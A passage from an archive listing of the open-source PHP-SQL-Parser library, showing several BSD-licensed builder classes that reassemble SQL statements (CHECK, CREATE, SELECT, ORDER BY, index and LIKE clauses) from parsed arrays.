 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the CHECK statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CheckBuilder implements Builder {

    protected function buildSelectBracketExpression($parsed) {
        $builder = new SelectBracketExpressionBuilder();
        return $builder->build($parsed);
    }

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::CHECK) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildSelectBracketExpression($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE check subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \i(	  	  T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateIndexTypeBuilder.phpnu [        <?php
/**
 * CreateIndexTypeBuilder.php
 *
 * Builds index type part of a CREATE INDEX statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the index type of a CREATE INDEX
 * statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CreateIndexTypeBuilder extends IndexTypeBuilder {

    public function build(array $parsed) {
        if (!isset($parsed['index-type']) || $parsed['index-type'] === false) {
            return '';
        }
        return parent::build($parsed['index-type']);
    }
}
?>
PK     \#Oh
  
  T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/OrderByFunctionBuilder.phpnu [        <?php
/**
 * OrderByFunctionBuilder.php
 *
 * Builds functions within the ORDER-BY part.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for functions within the ORDER-BY part. 
 * It must contain the direction. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class OrderByFunctionBuilder extends FunctionBuilder {

    protected function buildDirection($parsed) {
        $builder = new DirectionBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = parent::build($parsed);
        if ($sql !== '') {
            $sql .= $this->buildDirection($parsed);
        }
        return $sql;
    }

}
?>
PK     \gT    P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/UniqueIndexBuilder.phpnu [        <?php
/**
 * IndexKeyBuilder.php
 *
 * Builds index key part of a CREATE TABLE statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the index key part of a CREATE TABLE statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class UniqueIndexBuilder implements Builder {

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildIndexType($parsed) {
        $builder = new IndexTypeBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildColumnList($parsed) {
        $builder = new ColumnListBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::UNIQUE_IDX) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildColumnList($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildIndexType($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE unique-index key subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \l	  l	  N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/DirectionBuilder.phpnu [        <?php
/**
 * DirectionBuilder.php
 *
 * Builds direction (e.g. of the order-by clause).
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for directions (e.g. of the order-by clause). 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class DirectionBuilder implements Builder {

    public function build(array $parsed) {
        if (!isset($parsed['direction']) || $parsed['direction'] === false) {
            return "";
        }
        return (" " . $parsed['direction']);
    }
}
?>
PK     \rzG^r  r  T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/CreateStatementBuilder.phpnu [        <?php
/**
 * CreateStatement.php
 *
 * Builds the CREATE statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the whole Create statement. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class CreateStatementBuilder implements Builder {

    protected function buildLIKE($parsed) {
        $builder = new LikeBuilder();
        return $builder->build($parsed);
    }

    protected function buildSelectStatement($parsed) {
        $builder = new SelectStatementBuilder();
        return $builder->build($parsed);
    }

    protected function buildCREATE($parsed) {
        $builder = new CreateBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = $this->buildCREATE($parsed);
        if (isset($parsed['LIKE'])) {
            $sql .= " " . $this->buildLIKE($parsed['LIKE']);
        }
        if (isset($parsed['SELECT'])) {
            $sql .= " " . $this->buildSelectStatement($parsed);
        }
        return $sql;
    }
}
?>
PK     \sC*x!  !  R  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/FulltextIndexBuilder.phpnu [        <?php
/**
 * IndexKeyBuilder.php
 *
 * Builds index key part of a CREATE TABLE statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for the index key part of a CREATE TABLE statement. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class FulltextIndexBuilder implements Builder {

    protected function buildReserved($parsed) {
        $builder = new ReservedBuilder();
        return $builder->build($parsed);
    }

    protected function buildConstant($parsed) {
        $builder = new ConstantBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildIndexKey($parsed) {
        if ($parsed['expr_type'] !== ExpressionType::INDEX) {
            return "";
        }
        return $parsed['base_expr'];
    }
    
    protected function buildColumnList($parsed) {
        $builder = new ColumnListBuilder();
        return $builder->build($parsed);
    }
    
    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::FULLTEXT_IDX) {
            return "";
        }
        $sql = "";
        foreach ($parsed['sub_tree'] as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->buildReserved($v);
            $sql .= $this->buildColumnList($v);
            $sql .= $this->buildConstant($v);
            $sql .= $this->buildIndexKey($v);

            if ($len == strlen($sql)) {
                throw new UnableToCreateSQLException('CREATE TABLE fulltext-index key subtree', $k, $v, 'expr_type');
            }

            $sql .= " ";
        }
        return substr($sql, 0, -1);
    }
}
?>
PK     \U3 
   
  T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/ColumnReferenceBuilder.phpnu [        <?php
/**
 * ColumnReferenceBuilder.php
 *
 * Builds Column references.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class implements the builder for column references. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class ColumnReferenceBuilder implements Builder {

    protected function buildAlias($parsed) {
        $builder = new AliasBuilder();
        return $builder->build($parsed);
    }

    public function build(array $parsed) {
        if ($parsed['expr_type'] !== ExpressionType::COLREF) {
            return "";
        }
        $sql = $parsed['base_expr'];
        $sql .= $this->buildAlias($parsed);
        return $sql;
    }
}
?>
PK     \({    T  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/SelectStatementBuilder.phpnu [        <?php
/**
 * SelectStatement.php
 *
 * Builds the SELECT statement
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;

/**
 * This class implements the builder for the whole Select statement. You can overwrite
 * all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class SelectStatementBuilder implements Builder {

    protected function buildSELECT($parsed) {
        $builder = new SelectBuilder();
        return $builder->build($parsed);
    }

    protected function buildFROM($parsed) {
        $builder = new FromBuilder();
        return $builder->build($parsed);
    }

    protected function buildWHERE($parsed) {
        $builder = new WhereBuilder();
        return $builder->build($parsed);
    }

    protected function buildGROUP($parsed) {
        $builder = new GroupByBuilder();
        return $builder->build($parsed);
    }

    protected function buildHAVING($parsed) {
        $builder = new HavingBuilder();
        return $builder->build($parsed);
    }

    protected function buildORDER($parsed) {
        $builder = new OrderByBuilder();
        return $builder->build($parsed);
    }

    protected function buildLIMIT($parsed) {
        $builder = new LimitBuilder();
        return $builder->build($parsed);
    }
    
    protected function buildUNION($parsed) {
    	$builder = new UnionStatementBuilder();
    	return $builder->build($parsed);
    }
    
    protected function buildUNIONALL($parsed) {
    	$builder = new UnionAllStatementBuilder();
    	return $builder->build($parsed);
    }

    public function build(array $parsed) {
        $sql = "";
        if (isset($parsed['SELECT'])) {
            $sql .= $this->buildSELECT($parsed['SELECT']);
        }
        if (isset($parsed['FROM'])) {
            $sql .= " " . $this->buildFROM($parsed['FROM']);
        }
        if (isset($parsed['WHERE'])) {
            $sql .= " " . $this->buildWHERE($parsed['WHERE']);
        }
        if (isset($parsed['GROUP'])) {
            $sql .= " " . $this->buildGROUP($parsed['GROUP']);
        }
        if (isset($parsed['HAVING'])) {
            $sql .= " " . $this->buildHAVING($parsed['HAVING']);
        }
        if (isset($parsed['ORDER'])) {
            $sql .= " " . $this->buildORDER($parsed['ORDER']);
        }
        if (isset($parsed['LIMIT'])) {
            $sql .= " " . $this->buildLIMIT($parsed['LIMIT']);
        }       
        if (isset($parsed['UNION'])) {
            $sql .= " " . $this->buildUNION($parsed);
        }
        if (isset($parsed['UNION ALL'])) {
        	$sql .= " " . $this->buildUNIONALL($parsed);
        }
        return $sql;
    }

}
?>
PK     \Mf
  f
  I  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/LikeBuilder.phpnu [        <?php
/**
 * LikeBuilder.php
 *
 * Builds the LIKE statement part of a CREATE TABLE statement.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 * 
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 * 
 */

namespace PHPSQLParser\builders;
use PHPSQLParser\exceptions\UnableToCreateSQLException;

/**
 * This class implements the builder for the LIKE statement part of CREATE TABLE. 
 * You can overwrite all functions to achieve another handling.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class LikeBuilder implements Builder {

    protected function buildTable($parsed, $index) {
        $builder = new TableBuilder();
        return $builder->build($parsed, $index);
    }

    public function build(array $parsed) {
        $sql = $this->buildTable($parsed, 0);
        if (strlen($sql) === 0) {
            throw new UnableToCreateSQLException('LIKE', "", $parsed, 'table');
        }
        return "LIKE " . $sql;
    }
}
?>
PK     \	  	  E  vendor/greenlion/php-sql-parser/src/PHPSQLParser/builders/Builder.phpnu [        <?php
/**
 * Builder.php
 *
 * Interface declaration for all builder classes.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
